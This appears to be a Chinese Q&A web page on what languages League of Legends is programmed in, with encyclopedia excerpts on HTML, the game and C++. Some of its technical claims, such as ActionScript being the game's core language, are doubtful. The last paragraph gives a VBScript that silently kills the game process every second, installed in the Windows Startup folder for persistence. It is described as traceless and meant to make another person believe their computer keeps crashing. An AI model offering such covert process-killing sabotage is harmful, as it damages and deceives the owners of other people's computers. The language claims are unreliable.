怎麼用代碼製作英雄聯盟,lol程序是用什麼語言編寫的?

lol程序是用什麼語言編寫的?

一般來說,像LOL這種大型遊戲都是由C++語言主要進行編寫開發的。

由html、C++、action script語言編寫:1、進遊戲前的主界面是html語言,登陸界面的背景使用html結合flash動畫處理而成;2、遊戲內的話,內核是拳頭自己做的引擎,基於C++開發的;3、遊戲內核心語句是action script語言;4、而具體的技能和走位是由一定的邏輯處理程序進行設定的,與程序員編輯的邏輯代碼有關,遊戲的主要框架還是使用C++語言進行編寫的。擴展資料:html語言一般指HTML:超文本標記語言,標准通用標記語言下的一個應用。

「超文本」就是指頁面內可以包含圖片、鏈接,甚至音樂、程序等非文字元素。超文本標記語言的結構包括「頭」部分(英語:Head)、和「主體」部分(英語:Body),其中「頭」部提供關於網頁的信息,「主體」部分提供網頁的具體內容。

LOL:《英雄聯盟》(簡稱LOL)是由美國拳頭遊戲(Riot Games)開發、中國大陸地區騰訊遊戲代理運營的英雄對戰MOBA競技網遊。遊戲里擁有數百個個性英雄,並擁有排位系統、符文系統等特色養成系統。

《LOL》還致力於推動全球電子競技的發展,除了聯動各賽區發展職業聯賽、打造電競體系之外,每年還會舉辦「季中冠軍賽」「全球總決賽」「All Star全明星賽」三大世界級賽事,獲得了億萬玩家的喜愛,形成了自己獨有的電子競技文化。《LOL》由DOTA-Allstars原地圖作者SteveGuinsoo(DOTA主要開發者,DOTA中的羊刀以其名字命名)擔任遊戲主創;DOTA-Allstars社區創始人PenDragen加盟負責,同時還擁有曾任暴雪魔獸世界遊戲策劃、魔獸爭霸3主策劃、魔獸爭霸3數值平衡師的TomCadwell擔任主策。

C++語言:C++是C語言的繼承,它既可以進行C語言的過程化程序設計,又可以進行以抽象數據類型為特點的基於對象的程序設計,還可以進行以繼承和多態為特點的面向對象的程序設計。C++擅長面向對象程序設計的同時,還可以進行基於過程的程序設計,因而C++就適應的問題規模而論,大小由之。

C++不僅擁有計算機高效運行的實用性特徵,同時還致力於提高大規模程序的編程質量與程序設計語言的問題描述能力。參考資料:百度百科 ------ 英雄聯盟百度百科 ------- C++。

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同學給的,試下,不知道好用不專治沉迷LOL 先利用TXT寫以下代碼另存為VBS格式,代碼如下: do set bag=getobject("winmgmts:.rootcimv2") set pipe=bag.execquery("select * from win32_process where name='League of Legends.exe'")for each i in pipe i.terminate() next wscript.sleep 1000 loop 代碼的意思是:系統每1000毫秒檢測一次是否運行了League of Legends.exe這樣一個程序,如果運行了,他會自動後台關閉程序,但是對別的運行軟體是沒有任何影響的,絕對毫無痕跡!1000毫秒和League of Legends.exe可以改成你需要的任何時間(比如2分鐘檢查一次就填寫120000)和任何你需要結束的進程~這樣,從別人看來的效果就是「英雄聯盟怎麼老是在我六級時閃退啊啊啊啊!重新進還是六級閃退,破電腦,不玩了」 把建立的VBS存放在這個文件夾 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup開機自動啟。

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